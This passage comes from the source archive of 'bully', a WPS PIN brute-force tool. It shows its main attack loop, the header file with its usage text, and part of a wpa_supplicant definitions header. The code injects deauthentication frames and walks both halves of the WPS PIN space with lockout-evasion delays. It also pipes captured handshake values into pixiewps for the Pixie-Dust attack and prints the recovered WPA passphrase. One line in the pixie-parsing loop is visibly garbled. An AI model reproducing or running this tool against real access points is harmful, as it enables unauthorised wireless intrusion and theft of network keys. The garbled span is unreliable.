goto ap_beacon;
memcpy(essids,tag->data,tag->len);
G->essid = essids;
break;
};
if (result == FCSFAIL) {
if (3 <= ++fcs_count) {
vprint("[!] Disabling FCS validation (assuming --nofcs)\n");
G->has_fcs = fcs_count = 0;
};
continue;
};
if (result == TIMEOUT)
if (!G->fixed) {
G->chanx = next_chan(G);
if (G->chanx == G->start) {
if (++to_count < 3)
continue;
} else
continue;
} else
if (++to_count < 3)
continue;
vprint("[X] Unable to get a beacon from the AP, possible causes are\n");
vprint("[.] an invalid --bssid or -essid was provided,\n");
if (G->fixed)
vprint("[.] the access point isn't on channel '%s',\n", G->schan);
if (!G->fixed)
vprint("[.] channel hopping isn't working (use --channel),\n");
vprint("[.] you aren't close enough to the access point.\n");
return 4;
};
memcpy(G->bssid, ((mac_t*)G->inp[F_MAC].data)->adr3.addr, 6);
memset(p_bssid,0,sizeof(p_bssid));
strcat(p_bssid, G->ssids);
G->ssids = fmt_mac(bssids, G->bssid);
vprint("[+] Got beacon for '%s' (%s)\n", G->essid, G->ssids);
G->nocheck = nocheck;
mac = (mac_t*)(&authrq[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&deauth[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&eapols[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&eapolf[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&eap_id[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&wfamsg[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
mac = (mac_t*)(&ackpkt[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
mac = (mac_t*)(&asshat[RTH_SIZE]);
memcpy(mac->adr1.addr, G->bssid, 6);
memcpy(mac->adr2.addr, G->hwmac, 6);
memcpy(mac->adr3.addr, G->bssid, 6);
assn_t *ass = (assn_t*)(&asshat[RTH_SIZE+MAC_SIZE_NORM]);
ass->capability = ((bfp_t*)(G->inp[F_PAY].data))->capability;
tags[0] = tag;
if ((tags[tn] = find_tag(tag, tlen, TAG_RATE, 0, NULL, 0)) != NULL)
tn++;
if ((tags[tn] = find_tag(tag, tlen, TAG_CHAN, 0, NULL, 0)) != NULL) {
if (G->chans[G->chanx] != tags[tn]->data[0])
if (!G->fixed)
G->chanx = set_chan(G, tags[tn]->data[0]);
else
vprint("[!] The access point is on channel '%d', not '%s'\n",
tags[tn]->data[0], G->schan);
tn++;
};
if ((tags[tn] = find_tag(tag, tlen, TAG_XRAT, 0, NULL, 0)) != NULL)
tn++;
tags[tn++] = (tag_t*)MS_WPS_TAG;
tags[tn] = NULL;
/* Get vendor OUI from frame when present */
if (get_oui_vendor(tag, tlen, wps_info.vendor)) {
char vendor[OUI_STR_LEN];
memcpy(vendor, get_vendor(wps_info.vendor), OUI_STR_LEN);
vprint("[!] Vendor '%s' (%02x:%02x:%02x)\n", vendor,
wps_info.vendor[0], wps_info.vendor[1], wps_info.vendor[2]);
wps_info.vendor_p = TRUE;
};
if ((tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) == NULL) {
vprint("[X] The AP doesn't appear to be WPS enabled (no WPS IE)\n");
return 5;
};
vtag = (vtag_t*)&tag->data[4];
vlen = tag->len - 4;
vt = find_vtag(vtag, vlen, TAG_WPS_STATE, 1);
if (!vt || vt->data[0] != TAG_WPS_CONFIG) {
vprint("[!] Beacon IE indicates WPS is not configured\n");
};
vt = find_vtag(vtag, vlen, TAG_WPS_APLOCK, 1);
if (vt && vt->data[0] == TAG_WPS_LOCKED) {
vprint("[!] Beacon IE indicates WPS is locked\n");
};
if (vt = find_vtag(vtag, vlen, TAG_WPS_VERSION, 1)) {
wps_info.version = vt->data[0];
};
if (vt = find_vtag(vtag, vlen, TAG_WPS_V_EXT, 2)) {
if (memcmp(vt->data, WFA_VENDOR, 3) == 0) {
uint8 *v2 = (uint8*)(vt->data + 3);
int wfa_len = be16toh(vt->len);
while (wfa_len > 0) {
if (*v2 == TAG_WPS_V2) {
wps_info.version = v2[2];
break;
};
wfa_len -= v2[1] + 2;
v2 += v2[1] + 2;
};
};
};
vprint("[!] WPS version '%u.%u'\n", wps_info.version >> 4, wps_info.version & 0x0f);
if (G->wpsinfo) { /* Build direct probe request to gather more WPS info */
mac = (mac_t*)(&prober[RTH_SIZE]);
memcpy(mac->adr2.addr, G->hwmac, 6);
tags[0] = (tag_t*)(essidt);
tags[0]->len = strlen(G->essid);
memcpy(tags[0]->data, G->essid, tags[0]->len);
int tmpl; uint8 *tmp = build_ietags(tags, &tmpl);
G->dprobe = build_packet(prober, sizeof(prober) - 1, tmp, tmpl);
G->reql = sizeof(prober) - 1 + tmpl;
free(tmp);
vprint("[+] Sending probe request to '%s' (%s)\n", G->essid, G->ssids);
while (1) {
ap_probe:
result = send_packet(G, G->dprobe, G->reql, 1);
result = next_packet(G, MAC_TYPE_MGMT, MAC_ST_PROBE_RESP,
G->hwmac, G->bssid, PKT_PR, TRUE);
if (result == SUCCESS) { /* G->has_fcs is already set to 0 if needed */
tag = (tag_t*)(G->inp[F_PAY].data + BFP_SIZE);
tlen = G->inp[F_PAY].size - BFP_SIZE;
if (strlen(G->essid) != tag->len)
goto ap_probe;
else
break;
};
if (result == TIMEOUT) {
vprint("[!] Unable to get probe response from the AP\n");
break;
};
};
if (result == SUCCESS) {
vprint("[+] Got probe response from '%s' (%s)\n", G->essid, G->ssids);
if (tag = find_tag(tag, tlen, TAG_VEND, 0, MS_WPS_ID, 4)) {
vtag = (vtag_t*)&tag->data[4];
vlen = tag->len - 4;
vtag_t *init_vtag = vtag;
if (vtag = find_vtag(vtag, vlen, TAG_WPS_PASSWD, 2)) {
wps_info.passw_id = be16toh(*((uint16_t*)(&vtag->data[0])));
wps_info.passw_id_p = TRUE;
if (wps_info.passw_id != DEV_PW_DEFAULT) {
char c_pwid[20];
vprint("[!] Device Password ID is not set to PIN but to '%s' (0x%04x)\n",
build_dev_passw_id(wps_info.passw_id, c_pwid), wps_info.passw_id);
};
}
else {
vprint("[!] Device Password ID is not present in probe response\n");
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_CONF_M, 2)) {
char c_buff[60];
wps_info.config_methods = be16toh(*((uint16_t*)(&vtag->data[0])));
if (wps_info.config_methods & WPS_CONF_LABEL == 0)
vprint("[!] Method Label doesn't seem to be supported\n");
vprint("[!] Configuration methods '%s'\n",
build_conf_methods_string(wps_info.config_methods, c_buff));
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_TYPE, 8)) {
char c_buff[60];
wps_info.category = be16toh(*((uint16_t*)(&vtag->data[0])));
wps_info.subcategory = be16toh(*((uint16_t*)(&vtag->data[6])));
vprint("[!] Device type '%s'\n",
build_dev_type_string(wps_info.category, wps_info.subcategory, c_buff));
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_UUID_E, 16)) {
memcpy(wps_info.uuid, vtag->data, 16);
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_D_NAME, 0)) {
int tag_size = be16toh(vtag->len);
memcpy(wps_info.device_name, vtag->data, tag_size);
wps_info.device_name[tag_size] = '\0';
vprint("[!] Device name '%s'\n", wps_info.device_name);
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_MANU, 0)) {
int tag_size = be16toh(vtag->len);
memcpy(wps_info.manufacturer, vtag->data, tag_size);
wps_info.manufacturer[tag_size] = '\0';
vprint("[!] Manufacturer '%s'\n", wps_info.manufacturer);
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NAME, 0)) {
int tag_size = be16toh(vtag->len);
memcpy(wps_info.model_name, vtag->data, tag_size);
wps_info.model_name[tag_size] = '\0';
vprint("[!] Model name '%s'\n", wps_info.model_name);
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_M_NUM, 0)) {
int tag_size = be16toh(vtag->len);
memcpy(wps_info.model_number, vtag->data, tag_size);
wps_info.model_number[tag_size] = '\0';
vprint("[!] Model number '%s'\n", wps_info.model_number);
};
if (vtag = find_vtag(init_vtag, vlen, TAG_WPS_SERIAL, 0)) {
int tag_size = be16toh(vtag->len);
memcpy(wps_info.serial_number, vtag->data, tag_size);
wps_info.serial_number[tag_size] = '\0';
vprint("[!] Serial number '%s'\n", wps_info.serial_number);
};
};
};
};
int msgl; uint8 *msg = build_ietags(tags, &msgl);
G->asshat = build_packet(asshat,sizeof(asshat)-1,msg,msgl);
G->assl = sizeof(asshat)-1 + msgl;
free(msg);
parse_packet(G->inp, &wfamsg[0], sizeof(wfamsg)-1, TRUE, TRUE);
G->d1xlnx = (uint8*)&((d1x_t*)G->inp[F_D1X].data)->len - &wfamsg[0];
G->eapidx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->id - &wfamsg[0];
G->eaplnx = (uint8*)&((eap_t*)G->inp[F_EAP].data)->len - &wfamsg[0];
G->wfaopx = (uint8*)&((wfa_t*)G->inp[F_WFA].data)->op - &wfamsg[0];
wpsc_t *wconf = calloc(sizeof(wpsc_t),1);
if (!wconf)
goto mem_err;
wconf->registrar = TRUE;
wpsr_t *wregc = calloc(sizeof(wpsr_t),1);
if (!wregc)
goto mem_err;
wregc->disable_auto_conf = TRUE;
wconf->wps = calloc(sizeof(wctx_t),1);
if (!wconf->wps)
goto mem_err;
wconf->wps->registrar = wps_registrar_init(wconf->wps, wregc);
if (!wconf->wps->registrar) {
vprint("[X] Failed to initialize the WPS registrar, exiting\n");
return 6;
};
for (k=0; k<16; k++)
wconf->wps->uuid[k] = random() % 255;
G->wdata = wps_init(wconf);
if (!G->wdata) {
vprint("[X] Failed to initialize the WPS structure, exiting\n");
return 6;
};
if (G->win7) {
G->wdata->wps->dev.device_name = W7_DEVICE_NAME;
G->wdata->wps->dev.manufacturer = W7_MANUFACTURER;
G->wdata->wps->dev.model_name = W7_MODEL_NAME;
G->wdata->wps->dev.model_number = W7_MODEL_NUMBER;
G->wdata->wps->dev.rf_bands = W7_RF_BANDS;
memcpy(G->wdata->wps->dev.pri_dev_type, W7_DEVICE_TYPE, 8);
memcpy(&G->wdata->wps->dev.os_version, W7_OS_VERSION, 4);
};
#ifdef HAVE_LUA
if (G->luavm) {
lua_newtable(G->luavm);
for (int i = 0; i < 6; i++) {
lua_pushinteger(G->luavm, G->bssid[i]);
lua_rawseti(G->luavm, -2, i + 1);
}
lua_setglobal(G->luavm, "tbl_bssid");
lua_pushstring(G->luavm, hex(G->bssid, 6));
lua_setglobal(G->luavm, "str_bssid");
lua_pushstring(G->luavm, G->essid);
lua_setglobal(G->luavm, "str_essid");
lua_pushnumber(G->luavm, (wps_info.version >> 4) + (double)(wps_info.version & 0x0f) / 10);
lua_setglobal(G->luavm, "wps_version");
if (wps_info.serial_number) {
lua_pushstring(G->luavm, wps_info.serial_number);
lua_setglobal(G->luavm, "str_wps_serial");
}
}
#endif
{ /* Two files: *.pins and *.run */
size_t wsize = strlen(G->warpath);
G->pinf = malloc(wsize + 19);
strcpy(G->pinf, G->warpath);
G->pinf[wsize] = '/';
strcpy(G->pinf + wsize + 1, hex(G->bssid, 6));
strcpy(G->pinf + wsize + 1 + 12, ".pins");
if (G->random)
init_pins(G);
G->runf = malloc(wsize + 18);
strcpy(G->runf, G->warpath);
G->runf[wsize] = '/';
strcpy(G->runf + wsize + 1, hex(G->bssid, 6));
strcpy(G->runf + wsize + 1 + 12, ".run");
}
char pinstr[9];
int pincount, savecount;
int pinmax = (G->broken ? 100000000 : 10000000);
int pin2max = (G->broken ? 10000 : 1000);
int pin2div = (G->broken ? 1 : 10);
int pin, pindex, phold = get_start(G);
sigact.sa_handler = sigint_h;
sigaction(SIGHUP, &sigact, 0);
sigaction(SIGINT, &sigact, 0);
sigaction(SIGPIPE, &sigact, 0);
sigaction(SIGALRM, &sigact, 0);
sigaction(SIGTERM, &sigact, 0);
sigaction(SIGCHLD, &sigact, 0);
restart:
G->restart = 0;
pincount = savecount = 0;
pindex = phold;
if (-1 < G->pinstart)
pindex = G->pinstart;
if (G->random)
pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div;
else
pin = pindex;
if (G->broken) {
snprintf(pinstr,9,"%08d",pin);
vprint("[+] Index of starting pin number is '%08d'\n", pindex);
} else {
snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin));
vprint("[+] Index of starting pin number is '%07d'\n", pindex);
};
struct timeval start, now;
int time, last, secs, hour, mins, i, d, key1hit;
key1hit = 0;
gettimeofday(&start, 0);
last = start.tv_sec;
ctrlc = G->test;
result = DEORDIS;
while (!ctrlc) {
if (run_pixiewps == 2) {
/* Creating pixiewps command */
char *cmd_pixie;
cmd_pixie = malloc( 2520 * sizeof(char) );
strcpy(cmd_pixie,"pixiewps -e ");
strncat(cmd_pixie,pixie_pke, 1000);
strcat(cmd_pixie," -r ");
strncat(cmd_pixie,pixie_pkr, 1000);
strcat(cmd_pixie," -s ");
strncat(cmd_pixie,pixie_ehash1,100);
strcat(cmd_pixie," -z ");
strncat(cmd_pixie,pixie_ehash2,100);
strcat(cmd_pixie," -a ");
strncat(cmd_pixie,pixie_authkey,100);
strcat(cmd_pixie," -n ");
strncat(cmd_pixie,pixie_enonce,100);
strcat(cmd_pixie," -m ");
strncat(cmd_pixie,pixie_rnonce,100);
strcat(cmd_pixie," -v 1 --force");
FILE *fpixe;
fpixe = popen(cmd_pixie, "r");
char *aux_pixie_pin;
int i=0;
printf("[+] Running pixiewps with the information, wait ...\n");
if ( debug_level == 4 )
{
printf("Cmd : %s\n",cmd_pixie);
};
char *pixie_output;
pixie_output=malloc(100 * sizeof(char));
while (fgets(pixie_output, 100, fpixe) != NULL)
{
aux_pixie_pin = strstr(pixie_output,"WPS pin not found");
if(aux_pixie_pin != NULL)
{
printf("[Pixie-Dust] WPS pin not found\n");
free(cmd_pixie);
break;
};
aux_pixie_pin = strstr(pixie_output,"WPS pin:");
if(aux_pixie_pin != NULL)
{
//here will get the pin
//a slightly better way to locate the pin
//thx offensive-security by attention
for(i=0;istate], names[result], pinstr);
result = reassoc(G);
};
if (ctrlc) {
result = ctrlc;
break;
};
if (wps_registrar_add_pin(G->wdata->wps->registrar, NULL, pinstr, 8, 0)) {
vprint("[X] Failed to add registrar pin '%s', exiting\n", pinstr);
return 6;
};
result = wpstran(G);
wps_registrar_expire_pins(G->wdata->wps->registrar);
if (G->restart)
goto restart;
if (result == SUCCESS)
break;
if (G->state != RECV_M2D_M3 || result != WPSFAIL)
G->dcount = 0;
if (KEY1NAK <= result) {
if ((++pincount & 0x1f) == 0) {
gettimeofday(&now, 0);
secs = time = now.tv_sec - start.tv_sec;
hour = secs/3600; secs -= hour*3600;
mins = secs/60; secs -= mins*60;
i = time/pincount; time -= i*pincount;
d = time*100/pincount;
vprint("[!] Run time %02d:%02d:%02d, pins tested %d (%d.%02d seconds per pin)\n",
hour, mins, secs, pincount, i, d);
secs = time = now.tv_sec - last;
i = time/32; time -= i*32;
d = time*100/32;
time = pinmax - pindex;
time = time/pin2max + (time%pin2max ? time%pin2max : pin2max-1);
vprint("[!] Current rate %d.%02d seconds per pin, %05d pins remaining\n",
i, d, time);
secs = ((time * i * 100) + (time * d)) / 200;
hour = secs/3600; secs -= hour*3600;
mins = secs/60; secs -= mins*60;
vprint("[!] Average time to crack is %d hours, %d minutes, %d seconds\n",
hour, mins, secs);
last = now.tv_sec;
if ((++savecount & 0x01) == 0) {
if ((rf = fopen(G->runf, "a")) != NULL) {
gettimeofday(&timer, NULL);
strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
fprintf(rf, "# session in progress at %s\n%08d:%08d:%01d:%s:\n",
G->error, (G->broken ? pindex : pindex*10),
(G->broken ? pin : pin*10), G->broken, G->wdata->cred.key);
fclose(rf);
fprintf(stderr, "Saving session to '%s'\n", G->runf);
} else
fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);
};
};
if (result == KEY1NAK) {
if (!key1hit) {
pindex += pin2max;
if (pinmax <= pindex) {
vprint("[X] Exhausted first-half possibilities without success\n");
return 7;
};
};
if (G->k1delay && (G->k1step <= ++G->k1count)) {
G->delay += G->k1delay * 1000;
G->k1count = 0;
};
} else {
if (result == KEY2NAK) {
if (key1hit ==0) {
key1hit = 1;
pinmax = (pindex/pin2max+1)*pin2max;
};
pindex++;
if (pinmax <= pindex) {
vprint("[X] Exhausted second-half possibilities without success\n");
return 7;
};
if (G->k2delay && (G->k2step <= ++G->k2count)) {
G->delay += G->k2delay * 1000;
G->k2count = 0;
};
};
};
if (G->random)
pin = G->pin1[pindex/pin2max] * pin2max + G->pin2[pindex%pin2max] / pin2div;
else
pin = pindex;
if (G->broken)
snprintf(pinstr,9,"%08d",pin);
else
snprintf(pinstr,9,"%07d%1d",pin,wps_pin_checksum(pin));
};
};
if (!G->test) {
if (result == SUCCESS)
send_packet(G, eapolf, sizeof(eapolf)-1, 0);
send_packet(G, deauth, sizeof(deauth)-1, 0);
send_packet(G, deauth, sizeof(deauth)-1, 0);
send_packet(G, deauth, sizeof(deauth)-1, 0);
};
pcap_close(G->pfd);
if (result == SUCCESS)
vprint("[*] Pin is '%s', key is '%s'\n", pinstr, G->wdata->cred.key);
if ((rf = fopen(G->runf, "a")) != NULL) {
if (op_gen_pin == 1)
{
return 0;
}
gettimeofday(&timer, NULL);
strftime(G->error, 256, "%Y-%m-%d %H:%M:%S", localtime(&timer.tv_sec));
fprintf(rf, "# session ended %s with signal %d\n%08d:%08d:%01d:%s:\n",
G->error, signm, (G->broken ? pindex : pindex*10),
(G->broken ? pin : pin*10), G->broken, G->wdata->cred.key);
fclose(rf);
if (ctrlc && !G->test) fprintf(stderr, "\n");
fprintf(stderr, "Saved session to '%s'\n", G->runf);
} else
fprintf(stderr, "WARNING : Couldn't save session to '%s'\n", G->runf);
if (result == SUCCESS) {
fprintf(stderr, "\n\tPIN : '%s'", pinstr);
fprintf(stderr, "\n\tKEY : '%s'", G->wdata->cred.key);
fprintf(stderr, "\n\tBSSID : '%s'", p_bssid);
fprintf(stderr, "\n\tESSID : '%s'\n\n", G->essid);
} else
result = -1;
return result;
};
bully-1.4-00/src/bully.h 0000775 0000000 0000000 00000017170 13615304636 0015031 0 ustar 00root root 0000000 0000000 /*
bully - retrieve WPA/WPA2 passphrase from a WPS-enabled AP
Copyright (C) 2020 kimocoder
Copyright (C) 2017 wiire
Copyright (C) 2012 Brian Purcell
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see .
*/
#ifndef _BULLY_H
#define _BULLY_H
#define EXE_NAME "bully"
typedef struct pcap_pkthdr phdr_t;
typedef struct wps_config wpsc_t;
typedef struct wps_data wpsd_t;
typedef struct wps_registrar_config wpsr_t;
typedef struct wps_context wctx_t;
typedef struct wpabuf wpab_t;
char *__vp;
#define __vs 1024
int __vb = 3;
FILE* __vf;
#define vprint(...) { snprintf(__vp,__vs,__VA_ARGS__); if ((__vp[1]=='+'?3:__vp[1]=='!'?2:1)<=__vb) fputs(__vp,__vf); }
char hx[16] = "0123456789abcdef";
#define HEXSZ 2049
char _xbuf[HEXSZ];
char *hex(void *p, int len);
#define MAX_FCS_FAIL 3
#define MAX_RETRIES 2
#define LOCK_WAIT_SECS 43
#define ACKTIME 25
#define STDTIME 200
#define M13TIME 2000
#define SUCCESS 0
#define FCSFAIL 1
#define INJFAIL 1
#define TIMEOUT 2
#define ACKFAIL 2
#define DEORDIS 3
#define EAPFAIL 4
#define WPSFAIL 5
#define KEY1NAK 6
#define KEY2NAK 7
char *names[] = { "Success",
"Failure",
"Timeout",
"NoAssoc",
"EAPFail",
"WPSFail",
"Pin1Bad",
"Pin2Bad" };
char *state[] = { "Last State",
"Rx(Beacon)",
"Tx(DeAuth)",
"Tx( Auth )",
"Rx( Auth )",
"Tx( Assn )",
"Rx( Assn )",
"Tx( Strt )",
"Rx( ID )",
"Tx( ID )",
"Rx( M1 )",
"Tx( M2 )",
"Rx(M2D/M3)",
"Tx( M4 )",
"Rx( M5 )",
"Tx( M6 )",
"Rx( M7 )" };
#define START_ASSOC 1
#define START_EAPOL 7
#define RECV_M2D_M3 12
int map[17] = {0,0,0,0,0,0,0,0,0,0,4,5,7,8,9,10,11};
#define PKT_ACK 0
#define PKT_PR 1
#define PKT_BEA 2
#define PKT_AUT 3
#define PKT_ASN 4
#define PKT_EID 5
#define PKT_M1 6
#define PKT_M3 7
#define PKT_M5 8
#define PKT_M7 9
#define PKT_EAP 10
#define PKT_NOP 11
struct {
int user;
int def;
int count;
int avg;
int max;
} times[] = {
{0, 100, 1, 100, 100}, /* ACK */
{0, 660, 1, 2650, 2650}, /* PR */
{0, 660, 1, 2650, 2650}, /* BEA */
{0, 100, 1, 200, 200}, /* AUT */
{0, 100, 1, 200, 200}, /* ASN */
{0, 712, 1, 2850, 2850}, /* EID */
{0, 8962, 1,35850,35850}, /* M1 */
{0, 4585, 1,18350,18350}, /* M3 */
{0, 860, 1, 3450, 3450}, /* M5 */
{0, 2685, 1,10750,10750}, /* M7 */
{0, 100, 1, 100, 100}, /* EAP */
{0, 0, 1, 0, 0}, /* NOP */
};
struct global {
uint8 *ifname;
char *essid;
char *ssids;
uint8 bssid[6];
char *smacs;
uint8 hwmac[6];
char *hop;
char *warpath;
#ifdef HAVE_LUA
char *luaf;
lua_State *luavm;
#endif
char *runf;
char *pinf;
char schan[8];
int8 *index;
int *chans;
int *freqs;
int chanx;
int start;
int test;
int probe;
int win7;
int eapfail;
int eapmode;
int eapflag;
int restart;
int fixed;
int force;
int random;
int suppress;
int ignore;
int verbose;
int has_rth;
int has_fcs;
int nocheck;
int broken;
int use_ack;
int m57nack;
int retries;
int acktime;
int stdtime;
int m13time;
int dlt;
int sequence;
int delay;
int k1delay, k1step, k1count;
int k2delay, k2step, k2count;
int wpsinfo;
int lwait;
int detect;
int dcount;
int state;
int pinstart;
int pindex;
int d1xlnx;
int eapidx;
int eaplnx;
int wfaopx;
char *error;
char *perr;
pcap_t *pfd;
phdr_t *phdr;
frame_t *inp;
uint8 *asshat;
int assl;
uint8 *dprobe;
int reql;
wpsd_t *wdata;
int16 *pin1;
int16 *pin2;
char pixie;
};
#define W7_DEVICE_NAME "Glau"
#define W7_MANUFACTURER "Microsoft"
#define W7_MODEL_NAME "Windows"
#define W7_MODEL_NUMBER "6.1.7601"
#define W7_DEVICE_TYPE "\x00\x01\x00\x50\xF2\x04\x00\x01"
#define W7_OS_VERSION "\x01\x00\x06\x00"
#define W7_RF_BANDS 0x01
char usage[] =
"\n"
" bully v1.4\n"
" the fork that actually works!\n"
" maintained by kimocoder - https://twitter.com/kimocoder\n"
"\n"
" usage: %s interface\n"
"\n"
" Required arguments:\n"
"\n"
" interface : Wireless interface in monitor mode (root required)\n"
"\n"
" -b, --bssid macaddr : MAC address of the target access point\n"
" Or\n"
" -e, --essid string : Extended SSID for the access point\n"
"\n"
" Optional arguments:\n"
"\n"
" -c, --channel N[,N...] : Channel number of AP, or list to hop [b/g]\n"
" -i, --index N : Starting pin index (7 or 8 digits) [Auto]\n"
" -l, --lockwait N : Seconds to wait if the AP locks WPS [43]\n"
" -o, --outfile file : Output file for messages [stdout]\n"
" -p, --pin N : Starting pin number (7 or 8 digits) [Auto]\n"
" -s, --source macaddr : Source (hardware) MAC address [Probe]\n"
#ifdef HAVE_LUA
" -u, --lua : Lua script file \n"
#endif
" -v, --verbosity N : Verbosity level 1-4, 1 is quietest [3]\n"
" -w, --workdir path : Location of pin/session files [~/.bully/]\n"
" -5, --5ghz : Hop on 5GHz a/n default channel list [No]\n"
" -B, --bruteforce : Bruteforce the WPS pin checksum digit [No]\n"
" -F, --force : Force continue in spite of warnings [No]\n"
" -S, --sequential : Sequential pins (do not randomize) [No]\n"
" -T, --test : Test mode (do not inject any packets) [No]\n"
"\n"
" Advanced arguments:\n"
"\n"
" -d, --pixiewps : Attempt to use pixiewps [No]\n"
/*" -g, --genpin N : Pin Generator [1] D-Link [2] Belkin [0]\n"*/
" -a, --acktime N : Deprecated/ignored [Auto]\n"
" -r, --retries N : Resend packets N times when not acked [2]\n"
" -m, --m13time N : Deprecated/ignored [Auto]\n"
" -t, --timeout N : Deprecated/ignored [Auto]\n"
" -1, --pin1delay M,N : Delay M seconds every Nth nack at M5 [0,1]\n"
" -2, --pin2delay M,N : Delay M seconds every Nth nack at M7 [5,1]\n"
" -A, --noacks : Disable ACK check for sent packets [No]\n"
" -C, --nocheck : Skip CRC/FCS validation (performance) [No]\n"
" -D, --detectlock : Detect WPS lockouts unreported by AP [No]\n"
" -E, --eapfail : EAP Failure terminate every exchange [No]\n"
" -L, --lockignore : Ignore WPS locks reported by the AP [No]\n"
" -M, --m57nack : M5/M7 timeouts treated as WSC_NACK's [No]\n"
" -N, --nofcs : Packets don't contain the FCS field [Auto]\n"
" -P, --probe : Use probe request for nonbeaconing AP [No]\n"
" -Q, --wpsinfo : Use probe request to gather WPS info [No]\n"
" -R, --radiotap : Assume radiotap headers are present [Auto]\n"
" -W, --windows7 : Masquerade as a Windows 7 registrar [No]\n"
" -Z, --suppress : Suppress packet throttling algorithm [No]\n"
" -V, --version : Print version info and exit\n"
" -h, --help : Display this help information\n\n%s";
#endif /* _BULLY_H */
bully-1.4-00/src/common/ 0000775 0000000 0000000 00000000000 13615304636 0015010 5 ustar 00root root 0000000 0000000 bully-1.4-00/src/common/Makefile 0000775 0000000 0000000 00000000137 13615304636 0016454 0 ustar 00root root 0000000 0000000 all:
@echo Nothing to be made.
clean:
rm -f *~ *.o *.d
install:
@echo Nothing to be made.
bully-1.4-00/src/common/defs.h 0000775 0000000 0000000 00000015514 13615304636 0016113 0 ustar 00root root 0000000 0000000 /*
* WPA Supplicant - Common definitions
* Copyright (c) 2004-2008, Jouni Malinen
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*
* Alternatively, this software may be distributed under the terms of BSD
* license.
*
* See README and COPYING for more details.
*/
#ifndef DEFS_H
#define DEFS_H
#ifdef FALSE
#undef FALSE
#endif
#ifdef TRUE
#undef TRUE
#endif
typedef enum { FALSE = 0, TRUE = 1 } Boolean;
#define WPA_CIPHER_NONE BIT(0)
#define WPA_CIPHER_WEP40 BIT(1)
#define WPA_CIPHER_WEP104 BIT(2)
#define WPA_CIPHER_TKIP BIT(3)
#define WPA_CIPHER_CCMP BIT(4)
#ifdef CONFIG_IEEE80211W
#define WPA_CIPHER_AES_128_CMAC BIT(5)
#endif /* CONFIG_IEEE80211W */
#define WPA_KEY_MGMT_IEEE8021X BIT(0)
#define WPA_KEY_MGMT_PSK BIT(1)
#define WPA_KEY_MGMT_NONE BIT(2)
#define WPA_KEY_MGMT_IEEE8021X_NO_WPA BIT(3)
#define WPA_KEY_MGMT_WPA_NONE BIT(4)
#define WPA_KEY_MGMT_FT_IEEE8021X BIT(5)
#define WPA_KEY_MGMT_FT_PSK BIT(6)
#define WPA_KEY_MGMT_IEEE8021X_SHA256 BIT(7)
#define WPA_KEY_MGMT_PSK_SHA256 BIT(8)
#define WPA_KEY_MGMT_WPS BIT(9)
static inline int wpa_key_mgmt_wpa_ieee8021x(int akm)
{
return akm == WPA_KEY_MGMT_IEEE8021X ||
akm == WPA_KEY_MGMT_FT_IEEE8021X ||
akm == WPA_KEY_MGMT_IEEE8021X_SHA256;
}
static inline int wpa_key_mgmt_wpa_psk(int akm)
{
return akm == WPA_KEY_MGMT_PSK ||
akm == WPA_KEY_MGMT_FT_PSK ||
akm == WPA_KEY_MGMT_PSK_SHA256;
}
static inline int wpa_key_mgmt_ft(int akm)
{
return akm == WPA_KEY_MGMT_FT_PSK ||
akm == WPA_KEY_MGMT_FT_IEEE8021X;
}
static inline int wpa_key_mgmt_sha256(int akm)
{
return akm == WPA_KEY_MGMT_PSK_SHA256 ||
akm == WPA_KEY_MGMT_IEEE8021X_SHA256;
}
#define WPA_PROTO_WPA BIT(0)
#define WPA_PROTO_RSN BIT(1)
#define WPA_AUTH_ALG_OPEN BIT(0)
#define WPA_AUTH_ALG_SHARED BIT(1)
#define WPA_AUTH_ALG_LEAP BIT(2)
#define WPA_AUTH_ALG_FT BIT(3)
enum wpa_alg {
WPA_ALG_NONE,
WPA_ALG_WEP,
WPA_ALG_TKIP,
WPA_ALG_CCMP,
WPA_ALG_IGTK,
WPA_ALG_PMK
};
/**
* enum wpa_cipher - Cipher suites
*/
enum wpa_cipher {
CIPHER_NONE,
CIPHER_WEP40,
CIPHER_TKIP,
CIPHER_CCMP,
CIPHER_WEP104
};
/**
* enum wpa_key_mgmt - Key management suites
*/
enum wpa_key_mgmt {
KEY_MGMT_802_1X,
